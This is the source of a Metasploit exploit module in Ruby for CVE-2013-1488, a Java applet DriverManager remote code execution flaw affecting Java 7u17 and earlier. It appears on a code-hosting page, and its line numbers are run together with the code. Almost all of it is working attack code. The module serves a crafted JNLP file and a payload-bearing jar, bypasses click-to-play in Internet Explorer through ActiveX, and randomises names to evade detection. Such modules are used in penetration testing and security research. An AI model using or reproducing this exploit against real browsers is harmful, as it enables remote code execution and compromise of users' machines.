Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/multi/browser/java_jre17_driver_manager.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpServer::HTML9include Msf::Exploit::EXE1011#include Msf::Exploit::Remote::BrowserAutopwn12#autopwn_info({ :javascript => false })1314def initialize( info = {} )1516super( update_info( info,17'Name' => 'Java Applet Driver Manager Privileged toString() Remote Code Execution',18'Description' => %q{19This module abuses the java.sql.DriverManager class where the toString() method20is called over user supplied classes from a doPrivileged block. The vulnerability21affects Java version 7u17 and earlier. This exploit bypasses click-to-play on Internet Explorer22and throws a specially crafted JNLP file. This bypass is applicable mainly to IE, where Java23Web Start can be launched automatically through the ActiveX control. Otherwise, the24applet is launched without click-to-play bypass.25},26'License' => MSF_LICENSE,27'Author' =>28[29'James Forshaw', # Vulnerability discovery and Analysis30'juan vazquez' # Metasploit module31],32'References' =>33[34[ 'CVE', '2013-1488' ],35[ 'OSVDB', '91472' ],36[ 'BID', '58504' ],37[ 'URL', 'http://www.contextis.com/research/blog/java-pwn2own/' ],38[ 'URL', 'http://immunityproducts.blogspot.com/2013/04/yet-another-java-security-warning-bypass.html' ],39[ 'ZDI', '13-076' ]40],41'Platform' => %w{ java linux osx win },42'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },43'Targets' =>44[45[ 'Generic (Java Payload)',46{47'Platform' => ['java'],48'Arch' => ARCH_JAVA,49}50],51[ 'Windows x86 (Native Payload)',52{53'Platform' => 'win',54'Arch' => ARCH_X86,55}56],57[ 'Mac OS X x86 (Native Payload)',58{59'Platform' => 'osx',60'Arch' => ARCH_X86,61}62],63[ 'Linux x86 (Native Payload)',64{65'Platform' => 'linux',66'Arch' => ARCH_X86,67}68],69],70'DefaultTarget' => 0,71'DisclosureDate' => '2013-01-10'72))73end747576def setup77path = File.join(Msf::Config.data_directory, "exploits", "cve-2013-1488", "Exploit.class")78@exploit_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }79path = File.join(Msf::Config.data_directory, "exploits", "cve-2013-1488", "FakeDriver.class")80@driver_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }81path = File.join(Msf::Config.data_directory, "exploits", "cve-2013-1488", "FakeDriver2.class")82@driver2_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }83path = File.join(Msf::Config.data_directory, "exploits", "cve-2013-1488", "META-INF", "services", "java.lang.Object")84@object_services = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }85path = File.join(Msf::Config.data_directory, "exploits", "cve-2013-1488", "META-INF", "services", "java.sql.Driver")86@driver_services = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }8788@exploit_class_name = rand_text_alpha("Exploit".length)89@exploit_class.gsub!("Exploit", @exploit_class_name)9091@jnlp_name = rand_text_alpha(8)9293super94end9596def jnlp_file97jnlp_uri = "#{get_uri}/#{@jnlp_name}.jnlp"9899jnlp = %Q|100<?xml version="1.0" encoding="utf-8"?>101<jnlp spec="1.0" xmlns:jfx="http://javafx.com" href="#{jnlp_uri}">102<information>103<title>Applet Test JNLP</title>104<vendor>#{rand_text_alpha(8)}</vendor>105<description>#{rand_text_alpha(8)}</description>106<offline-allowed/>107</information>108109<resources>110<j2se version="1.7+" href="http://java.sun.com/products/autodl/j2se" />111<jar href="#{rand_text_alpha(8)}.jar" main="true" />112</resources>113<applet-desc name="#{rand_text_alpha(8)}" main-class="#{@exploit_class_name}" width="1" height="1">114<param name="__applet_ssv_validated" value="true"></param>115</applet-desc>116<update check="background"/>117</jnlp>118|119return jnlp120end121122def on_request_uri(cli, request)123print_status("handling request for #{request.uri}")124125case request.uri126when /\.jnlp$/i127send_response(cli, jnlp_file, { 'Content-Type' => "application/x-java-jnlp-file" })128when /\.jar$/i129jar = payload.encoded_jar130jar.add_file("#{@exploit_class_name}.class", @exploit_class)131jar.add_file("FakeDriver.class", @driver_class)132jar.add_file("FakeDriver2.class", @driver2_class)133jar.add_file("META-INF/services/java.lang.Object", @object_services)134jar.add_file("META-INF/services/java.sql.Driver", @driver_services)135metasploit_str = rand_text_alpha("metasploit".length)136payload_str = rand_text_alpha("payload".length)137jar.entries.each { |entry|138entry.name.gsub!("metasploit", metasploit_str)139entry.name.gsub!("Payload", payload_str)140entry.data = entry.data.gsub("metasploit", metasploit_str)141entry.data = entry.data.gsub("Payload", payload_str)142}143jar.build_manifest144145send_response(cli, jar, { 'Content-Type' => "application/octet-stream" })146when /\/$/147payload = regenerate_payload(cli)148if not payload149print_error("Failed to generate the payload.")150send_not_found(cli)151return152end153send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' })154else155send_redirect(cli, get_resource() + '/', '')156end157158end159160def generate_html161jnlp_uri = "#{get_uri}/#{@jnlp_name}.jnlp"162163# When the browser is IE, the ActvX is used in order to load the malicious JNLP, allowing click2play bypass164# Else an <applet> tag is used to load the malicious applet, this time there isn't click2play bypass165html = %Q|166<html>167<body>168<object codebase="http://java.sun.com/update/1.6.0/jinstall-6-windows-i586.cab#Version=6,0,0,0" classid="clsid:5852F5ED-8BF4-11D4-A245-0080C6F74284" height=0 width=0>169<param name="app" value="#{jnlp_uri}">170<param name="back" value="true">171<applet archive="#{rand_text_alpha(8)}.jar" code="#{@exploit_class_name}.class" width="1" height="1"></applet>172</object>173</body>174</html>175|176return html177end178end179180181